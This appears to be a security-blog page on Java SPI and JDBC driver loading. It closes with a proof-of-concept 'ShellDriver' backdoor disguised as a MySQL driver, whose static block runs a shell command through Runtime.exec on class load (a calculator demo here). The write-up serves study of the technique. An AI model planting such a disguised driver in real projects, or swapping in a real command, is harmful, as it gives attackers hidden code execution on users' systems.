SPI
0x01 What Is SPI

0x02 Best Practice

0x03 SPI + JDBC







0x04 JDBC Driver后门


Last updated











Last updated
package com.demo.spi;
public interface SpiService {
public void say();
}package com.demo.spi;
public class SPI_1 implements SpiService{
@Override
public void say() {
System.out.println("SPI_1 at your service");
}
}package com.demo.spi;
public class SPI_2 implements SpiService{
@Override
public void say() {
System.out.println("SPI_2 at your service");
}
}package com.demo.spi;
import java.util.ServiceLoader;
public class SpiTest {
public static void main(String[] args) {
ServiceLoader<SpiService> serviceLoader = ServiceLoader.load(SpiService.class);
for (SpiService spiService : serviceLoader) {
spiService.say();
}
}
}<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.27</version>
</dependency>// 注册驱动
Class.forName("com.mysql.cj.jdbc.Driver");
// 获取连接对象
Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/test","root", "root");@CallerSensitive
public static Class<?> forName(String className) throws ClassNotFoundException {
Class<?> caller = Reflection.getCallerClass();
// 第二个参数为initialized,表示是否进行初始化
// 第三个参数为类加载器,默认使用调用者的ClassLoader
return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}package com.mysql.cj.jdbc;
import java.sql.DriverManager;
import java.sql.SQLException;
public class Driver extends NonRegisteringDriver implements java.sql.Driver {
public Driver() throws SQLException {
}
static {
try {
// 使用DriverManager类的registerDriver静态方法来注册驱动
DriverManager.registerDriver(new Driver());
} catch (SQLException var1) {
throw new RuntimeException("Can't register driver!");
}
}
}static {
loadInitialDrivers();
println("JDBC DriverManager initialized");
}
private static void loadInitialDrivers() {
String drivers;
try {
drivers = AccessController.doPrivileged(new PrivilegedAction<String>() {
public String run() {
return System.getProperty("jdbc.drivers"); // 也可以通过设置系统属性来加载驱动
}
});
} //...
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
ServiceLoader<Driver> loadedDrivers = ServiceLoader.load(Driver.class);
Iterator<Driver> driversIterator = loadedDrivers.iterator();
try{
while(driversIterator.hasNext()) {
driversIterator.next();
}
}
// ....
String[] driversList = drivers.split(":");
for (String aDriver : driversList) {
try {
Class.forName(aDriver, true,
ClassLoader.getSystemClassLoader());
} // ...
}
}public static <S> ServiceLoader<S> load(Class<S> service) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
return ServiceLoader.load(service, cl);
}private S nextService() {
if (!hasNextService())
throw new NoSuchElementException();
String cn = nextName;
nextName = null;
Class<?> c = null;
try {
c = Class.forName(cn, false, loader);
//...
}import java.sql.Driver;
import java.util.Iterator;
import java.util.ServiceLoader;
public class JdbcDriverList {
public static void main(String[] args) {
ServiceLoader<Driver> serviceLoader = ServiceLoader.load(Driver.class, ClassLoader.getSystemClassLoader());
for (Iterator<Driver> iterator = serviceLoader.iterator(); iterator.hasNext();) {
Driver driver = iterator.next();
System.out.println(driver.getClass().getPackage() + " ------> " + driver.getClass().getName());
}
}
}jar cvf ShellDriver.jar ShellDriver.classpackage com.mysql.fake.jdbc;
import java.sql.*;
import java.util.Properties;
import java.util.logging.Logger;
public class ShellDriver implements java.sql.Driver {
protected static final String WindowsCmd = "calc";
protected static final String LinuxCmd = "open -a calculator";
protected static String shell;
protected static String args;
protected static String cmd;
static {
if( System.getProperty("os.name").toLowerCase().contains("windows") ){
shell = "cmd.exe";
args = "/c";
cmd = WindowsCmd;
} else {
shell = "/bin/sh";
args = "-c";
cmd = LinuxCmd;
}
try{
Runtime.getRuntime().exec(new String[] {shell, args, cmd});
} catch(Exception ignored) {
}
}
@Override
public Connection connect(String url, Properties info) throws SQLException {
return null;
}
@Override
public boolean acceptsURL(String url) throws SQLException {
return false;
}
@Override
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
return new DriverPropertyInfo[0];
}
@Override
public int getMajorVersion() {
return 0;
}
@Override
public int getMinorVersion() {
return 0;
}
@Override
public boolean jdbcCompliant() {
return false;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
public class Jdbc_Demo {
public static void main(String[] args) throws Exception {
// 注册驱动
Class.forName("com.mysql.cj.jdbc.Driver");
// 获取数据库连接对象
Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3308/test","root", "123456");
// 定义sql语句
String sql = "select * from flag";
// 获取执行sql的对象Statement
Statement stmt = con.createStatement();
// 执行sql
ResultSet res = stmt.executeQuery(sql);
// 处理对象
while(res.next()) {
System.out.println(res.getString("flag"));
}
// 释放资源
res.close();
stmt.close();
con.close();
}
}